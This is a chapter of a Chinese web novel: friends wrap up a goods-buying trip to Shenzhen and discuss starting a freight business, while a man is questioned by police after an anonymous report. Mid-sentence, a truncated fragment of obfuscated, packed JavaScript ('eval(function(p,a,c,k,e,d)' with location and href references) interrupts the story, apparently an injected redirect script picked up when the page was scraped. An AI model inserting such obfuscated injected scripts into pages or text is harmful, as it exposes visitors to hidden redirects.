59. 要人脉

今日是来深地的第三天,按照约定,何成会把申报完的货带入境。


“大清早就是警车的乌拉乌拉声,不知道发生什么事。啊……”张茉莉伸个懒腰、揉把头发,起身上厕所。


林语晨从厕所间出来,漂亮的大麻花辫垂至胸前,一袭浅蓝底百合花连衣裙、短筒丝袜加白凉鞋,清爽得像是山里出来的精灵。


本来不穿丝袜更好看,她怕老寒脚,也怕晒黑。


“我去,你这么早啊?”张茉莉盯着她红艳艳的嘴,下意识伸手去摸。


“啪”得一声。


林语晨打开她的手,笑说:“不早了。今天要拿货,事情顺利的话,下午就能买火车票离开。”


张茉莉摸着手背,彻底清醒:“挺好看的,整个人都亮了好几度。我也要涂口红。”


“涂,别辜负你的青春。”林语晨又说,“我去找淳于芳她们,说一声,早点出发。”


张茉莉边洗脸边吐槽:“哎,说是来玩,尽跟着你们瞎跑,连海都没看。这才第三天就要回去。”


“你不是躲唐阿姨吗?先想想回去怎么应付吧。”林语晨听着她的呜呼哀嚎声,轻快地关门离开。


李伶俐和淳于芳已经起床。


两人最终没抵住美丽的诱惑,买了两件挺挺的内衣、时髦的衣裙。


李伶俐是两件式的套裙。淳于芳是浅蓝牛仔裤、黑白帆布鞋和大尖领衬衫,非常有味道的穿法。


林语晨拉起淳于芳的衬衫角,给她在腰间打个结,露出纤细紧实的腰身。


“哇……好……性.感。”李伶俐惊呼。


淳于芳赶紧解开衬衫结,插入裤腰:“不要。太……尴尬了。”


“好吧,这样也很有个性很好看。”林语晨不勉强,过不久,满大街都是这种露腿露腰的打扮。“走吧,我们喊何罗秋吃早饭。”


早饭过后,林语晨几人按何成的约定,一起到火车站接货。


她们把淳于芳的25箱味精办理货物托运,又把自己的东西按清单点清楚。


林语晨亲自检查申报文件和物品清单,一一核对完毕。


何成朝旁边的何方明说:“这小林做事很仔细,是块做生意的好料子。”


何方明点头:“以后咱们灵江市的商场少不了她的名字。”


“好了。大家管好自己的东西,我们准备买车票回家。”林语晨听着几人的欢呼声,走向何成和何方明,伸手笑说,“东西没错,单据齐全。这样回灵江市,我就放心多了。谢谢何成大叔,方明叔。”


双何相视一笑。


何成同她握手:“客气了,靓妹。下回来深地继续找我,你有我的电话。”


“一定。”林语晨又同何方明握手,轻声说,“何叔,华丽衣料店,不介意我们去买衣服吧?”


“我欢迎还来不及呢!”何方明回握,同等待已久的何罗秋、淳于芳、李伶俐一一握手,又走到张茉莉面前,“张同学,谢谢你。这次若没有你,我一家老小就要喝西北风,感激不尽。”


张茉莉看着他主动伸来的手,轻轻地握下:“好说。以后,我姐们找你帮忙,你别推辞就好。”


“一定一定。”何方明连连点头,“小林,我还要一天才能回去,不跟你们一起走。你们回去的路上小心些,注意安全啊。”


“知道,何叔。”林语晨点头,目送双何离开,转眼看大家抱着货物欣喜如狂的模样,温声说,“我们商量下买车票的事吧。”


李伶俐不解问:“这还商量什么?”


“这些东西都挺贵,放在硬座车厢不太好看顾。茉莉要买卧铺,我打算也买一张卧铺,同她一起买下铺对坐。一张床用来存放这些东西。我和茉莉坐在对面床铺看着它们。你们觉得怎么样?”


淳于芳明白她的意思:“你想把东西都放到卧铺车厢。我们坐硬座回去,只你多花点钱。”


何罗秋和李伶俐还没说话,张茉莉已经瞪眼:“你是死活都要拉上我当垫背呗。”


林语晨莞尔:“谁叫你给我的安全感高呢。东西放在我的卧铺床上,我和你挤一张床,行吗?姐们!”


“我能说不行吗?”张茉莉咬牙切齿,“你们要不要也买卧铺?”


何罗秋三人连忙摇头,卧铺的价格不便宜。


淳于芳试着拉牛仔裤的兜,拉不出口袋:“两袖清风,唯于一张硬座车票钱。”


李伶俐点头:“我也是……”


何罗秋:“拜托,女侠!”


张茉莉吃软不吃硬,轻哼着答应了。


火车是下午三点出发,明天上午可以到灵江市。


大家在火车站等大半天才坐上返程的火车。


——


深地警局里,楚邵看着被请来的林菲儿,整个人像得病般抖起来,急扑上去:“林菲儿,你跟他们说清楚……那钱是我的工资、你爸送给你的生活费……”


“坐下。”警察按住楚邵,“你老实点,交代清楚不就完了。我们会核实你说的信息。”


林菲儿看着那个邋里邋遢的男人,天没亮、衣服没穿好就急匆匆去寻林语晨,结果被送进警察局,当真是天大的笑话。她朝蹦跶的楚邵露个意味不明的笑容,被女警带进审讯室,而后垂着脸,一声不吭。


女警把灵江市传来的消息递给她:“你的父亲是林裕宝对吗?他被起诉杀人、非法赌.博、贩卖人口……等几大罪行,已经被抓捕归案。”


林菲儿动了动眼神,轻起唇角:“这一天早晚会来不是吗?我妈走得时候就说过这句话。我到现在都记得她走时的样子,也一直在等这一天。”


女警沉默,紧接着说:“你知道林裕宝杀了谁吗?”


林菲儿摇头:“他手里有枪,爱杀谁杀谁。他连女儿都打,骂她去死,杀别人有什么好奇怪?”


女警和同事对了眼,知道这是个被原身家庭带偏思想的女同志,缓缓说:“你父亲杀得是陆天,江源县环保局局长。据闻,你和陆天有非正当关系,而你是被胁迫。”


林菲儿的神色溃变,痛苦地扭曲着,在爆发边缘又压制下去。


她好似神经质一样,后知后觉露出愕然、恍然大悟,眨着眼呢喃地问:“爸……我爸杀了陆天?陆天是被我爸杀死?”


等到对面的女警点头,又哭又笑地怀疑说,“不可能!他打我骂我……他和陆天根本是一伙的,他怎么可能杀陆天?”


女警见她的情绪外露,静静地等她发泄。


旁边的男同事忍不住说:“安静!”得了女警一眼,回以“我说错了”的疑惑眼神。


林菲儿慢慢地平静下来,张口无声,一时不知道该说什么。


女警再说:“与你一起的楚邵参与你父亲的赌场生意吗?工地上的人说你们是夫妻。”


“爸,我想见我爸。”林菲儿沉浸在林裕宝为自己杀人的情绪中,滑落眼泪,激动地说,“不……我和他不是夫妻。我喜欢他,他喜欢别人。他嫌我脏。现在,他和我一样脏了,呵呵呵……”


审讯的男同志听愣,觉得这姑娘受得打击不小。女警给她倒一杯水,接着问:“你父亲曾经给过他一笔钱,还提个要求,让他带你离开江源县,对吗?这笔钱具体多少金额,现在,还在吗?”


林菲儿后知后觉地明白他们的意思,蹙起眉,一声不吭。


审讯室外的办公大堂里,楚邵的头一下下地磕在桌面,记起赵有归在田埂边说的话。


赵有归:“你现在不陷进去还是清白,再牵扯进去,尤其是金钱方面,回头清算起来,你扯得干净吗?”


如今出事,楚邵后悔至极。


若是没有拿三万块钱,就没有这遭事。


明明赵有归已经提醒过,不要与林裕宝有金钱牵扯,然而,没有听。


忽然,他想起帮过赵有归,急切说:“警察同志,我要同灵江市局联系。赵有归,他能证明我的清白!”


警察商讨过后让他打长途电话。


灵江市局,赵有归接到内线电话,沉吟后说:“接进来吧。”


电话一接通,就传来楚邵认错的声音。


楚邵:“赵哥,我错了。我不该鬼迷心窍拿林裕宝一万块钱。我也不知道那是赃款。我帮他开车,又带林菲儿离开,那是我的工资和……林菲儿的生活费。这钱它干净的呀。赵警官,赵大哥……你帮帮我跟他们解释清楚。”


赵有归把听筒挪开些,等他诉完理由,看着文件慢慢说:“楚邵,你帮林裕宝开多久的车,你我心里有数。你拿那笔钱,终究是因为钱还是因为林菲儿本身,你心里清楚。我只问一句,你确定只拿林裕宝一万?


我听说你在那边已经拉起两个工程队,已经完成一项工程建设。”


“……赵有归!”你要逼死我吗?


楚邵看着这边虎视眈眈的警察,压下心头怒火,咬牙咬唇再咬……缓缓吐出:“三万,真得只有三万。而且,它们已经被我用到上一个工程的红砖、水泥、脚手架、工具……工人工资……我现在赚得都是自己的钱!”


电话另一头的赵有归无声地笑,知道对面看不见,放下笔后沉稳地说:“你让对面的负责人接电话。”


两边通一会电话。


深地警察挂断电话,朝楚邵说:“我们已经了解具体情况,需要时间核实你说的话。然后,我们会开会商讨对你的处罚规定。”


“不是,警察同志,我还有事。我还要去见我的爱人。”楚邵急切说,“我不会跑路,你先放我出去好吗?”


警察回头看去:“你在外面还有爱人?刚刚进去那位不是吗?”


楚邵嚅唇,无望地歪头:“她……不是啊。”


警察的眼神都变了。工地上的人喊得都是老板和老板娘,这会一出事就想撇干净。这男青年真下头。


楚邵看他不理人,还想说什么,却无人理会,只好垂下头。


一会过后,林菲儿从审讯室出来,他急忙喊:“菲儿,菲儿,你没事吧?”


林菲儿扬眸看去,跑去抱住他:“楚邵,我爸他……他……”


“我知道。”楚邵轻轻点头,“你爸杀了陆天。他是为给你报仇。”


林菲儿顿时大哭,哭声响彻整个大堂:“啊……爸……我错了,爸……”


——若我知道你是站在我这边,站在我这边……


楚邵管不得她的心情,蹲下来说:“菲儿,别哭了。你帮我个忙,你帮我去找林语晨,跟她说……”


“啪”得一声,楚邵结结实实挨了一巴掌,赤目瞪去:“你非得跟我闹吗?林菲儿!”


林菲儿起身,泪眼朦胧中又给他一巴掌,而后头也不回离开。她要回江源县,看爸爸看弟弟……楚邵,你就在这待着吧。


若是我早一点知道爸会这么做,我会早早把陆天的事告诉他……不,孙不二是他的弟兄。我爸敬重孙不二,他肯为了我背弃孙不二和弟兄的女儿孙佳人吗?


——不知道!


楚邵看着头也不回离开的林菲儿,环顾一群看热闹的警察,呵了声,苦巴巴地垂着脸。


他蹲下来,抹脸痛哭:“怎么会这样?一天一夜,什么糟糕的事都找上门。”


一名年轻的警察生了同情心,拍在楚邵的肩头:“好了,大男人哭什么。谁都有倒霉的时候,没人举报,我们也不知道你这事,是吧?”


楚邵放下抹泪的手,愣怔地问:“举报?谁举报我?”


这就不方便说了。


警察拉着他去安排拘留的事宜,若是核实他拿了三万,还得催他交出非法所得。


楚邵的脑子里全是“举报”两字,想起林菲儿天没亮说得:“昨天,她就在工地外面,我猜她是来找你。”


林语晨……举报我?


她为什么这么做?


此刻,林语晨同大伙坐上返回灵江市的火车。火车开出前,林菲儿匆匆登上这辆火车,靠在车门上抹泪,随后找座位。


淳于芳穿过几节车厢,看到那个失魂落魄靠着车窗哭的林菲儿,眼神跳了又跳。


她不动声色地继续走,到卧铺这边。


“林语晨,你猜我看到谁?”


林语晨和张茉莉坐在下


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15149673|160668||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


铺床上看小人书,闻声说:“不会又是林菲儿吧?”


“是啊。”淳于芳激动地说,“她好像在哭,神情很丧。”


林语晨和张茉莉对了眼,眼神里分明写着:难道是警察行动了?


淳于芳狐疑地看两人眉来眼去,好奇问:“说起来,昨天我和李伶俐去采购,你们去干吗?”


张茉莉生了兴趣:“她给这边的警察写了封匿名举报信,跑电话亭打电话给灵江市局举报渣男非法获利。


我猜,两人是大难临头各自飞。”


“……”淳于芳惊叹,“林语晨,如果我得罪你,你记得同我说一声,我会诚恳向你道歉!”


“哈哈哈……”张茉莉大笑,拍在淳于芳的肩头,“咱两有革命友谊了。哈哈哈……”


林语晨瞪去,损友不必多,一个足矣,再来一个该短命了。


“芳芳,别管她。我们说点正经事。”


“啥?”茉莉和淳于芳齐齐看去。


“若是你收到录取通知书,应该在这边读书吧?”林语晨见她点头,又说,“你觉得何成的活怎么样?”


“嗯?”淳于芳回想何成办的事,“挺好,一张证两头跑,动动嘴皮子出点力就能赚三十元一单,比人家上班高多了。”


“他这种行当,不申报就是水客,申报就是私人货代。我觉得你在这边读书,可以尝试做他这行。但是,你要开公司,走正经申报流程。”


淳于芳哑然,磕巴说:“我……我怎么可能……”


“怎么不能啊?”张茉莉搭话,“语晨的想法很好啊。李伶俐不是让你带东西吗?何罗秋也是啊,我也想你帮忙带一些吃穿用呢。这么说来,你已经有好几个潜在客户。”


林语晨拍在张茉莉的手臂,朝淳于芳说:“我们几人现在是小打小闹,算不上正经生意。不过,在未来确实有可能做大。


芳芳,灵江市的摊贩有很大的发展空间,包括店铺……这些人都要到这边进货。


若是你从现在做起,将来可以在灵江市建立货物集散地。灵江市的商贩为求节约成本和便利,会从你这边拿货。你可以掌握灵江市未来十年的经济。”


“……”张茉莉和淳于芳震惊地看向林语晨,有几个惊讶的词想说,一时汇聚不出来。


“所以,我建议你先成立货代公司,代行运货、拿货、包括申报、清关等手续。你一个人肯定不行。但是,不久之后,你会有同学。你可以在学校找一些志同道合的伙伴。”


“等等,”张茉莉举手,朝淳于芳说,“别找外人了,我就可以啊。我入股,你同不同意?林小姐,你要不要入股?”


林语晨见她望来,被这声林小姐叫得忍俊不禁,咧嘴笑了。


淳于芳眨巴眼,抽着唇角:“林语晨,你跟她一起疯吗?我行吗?我不行。”


“你行!”张茉莉肯定地说,“我说过没有——我小婶是深地人,可以给你一点小帮助。他们这边的人很团结,你相信我。但是,我投钱入股要两成利。你呢?林小姐。”又朝林语晨看去。


林语晨被她俩看着,摇头说:“我不入股。我只是在积攒未来可用的人脉。”


张茉莉啧了声:“林小姐,你真是个人精。”这声“林小姐”被她越喊越纯熟。


她见淳于芳不懂“人脉”两字的威力,提醒说:“老话说得好,出门在外多一个朋友多一条路。我们这次结交何方明、何成对吧?因为他们,我们这次进货没踩坑,可以说没损失,这就是人脉。何方明也是这样啊。他听说林语晨在市局有人的时候,神色都变了。后来,我们展露些本事,他的结交心更强了。在他看来,我们就是他以后的人脉。懂?”


淳于芳恍然大悟,点头:“林语晨,我这辈子没跪过人,但是我跪过你。如果,我真得按你说得做,你不用入股,我也会给你留……两成利,同拿钱入股的茉莉一样。”


“……”林语晨失笑,莞尔,“随你。”


日后,若真能做起来,两成利可不是一笔小钱!


张茉莉啧了声:“这声林小姐真没白喊,一个点子就拿走人家两成利。我这种要掏真金白银也才两成利。”


林语晨笑说:“你说太快了。若是入股分红,要看公司的注册资本和你的出资额度在公司里占多少份额来算。”


张茉莉扑抱住林语晨:“你为什么学那个什么心理学,你应该去学金融管理!”


林语晨推她,笑说:“好了好了。这不妨害我未来真正想做什么呀。”


淳于芳羡慕地看着两人闹,虽说她和两人一起反抗过校园霸凌,还欺负过别人……但是,怎么看都好像比不上两人的关系。


不过,她一直心怀感激,放下这份羡慕,试着打趣说:“林小姐,那林菲儿……怎么办?”


淳于芳学着张茉莉的说法方式喊林语晨,惹得对面瞧来,忍不住笑了,生出被关注的快乐。


林语晨不和茉莉闹,看向淳于芳:“芳芳,我给你出点子就是告诉你,你的未来无限光明,你是要干大事的人,不要把注意力留给无关紧要的人。”


话音刚落,就遭张茉莉一肘击。


淳于芳听完这句话,一种被肯定的感动充斥心田。整个眼前好像被拨开云雾,见到光明,仿佛未来充满希望和憧憬。她怀揣激动的心情,晕晕乎乎地回硬座车厢。


这次,她连个眼神都没给失魂落魄的林菲儿。


张茉莉看着林语晨抚摸手臂,嗤说:“无关紧要的人?谁巴巴地走几里地去找人算账,花高价坐摩的去寻仇去举报……咱们林小姐看起来大气,心里啊,可真虚啊。”


林语晨睨回去:“我就是这么虚伪,你还喜欢和我做朋友?古话说,物以类聚人以群分。我瞧着张大小姐是掉钱眼子里去了。”


“我掉钱眼子?”张茉莉撸袖子,“你看这小卧铺,对面都放着你们的东西,害我和你挤一块窝着,我还生气呢。”


“是吗?我以为你喜欢这样呢。”


张茉莉气笑,直接扑过去挠她。


笑声混着火车的匡砸声一路奔向灵江市。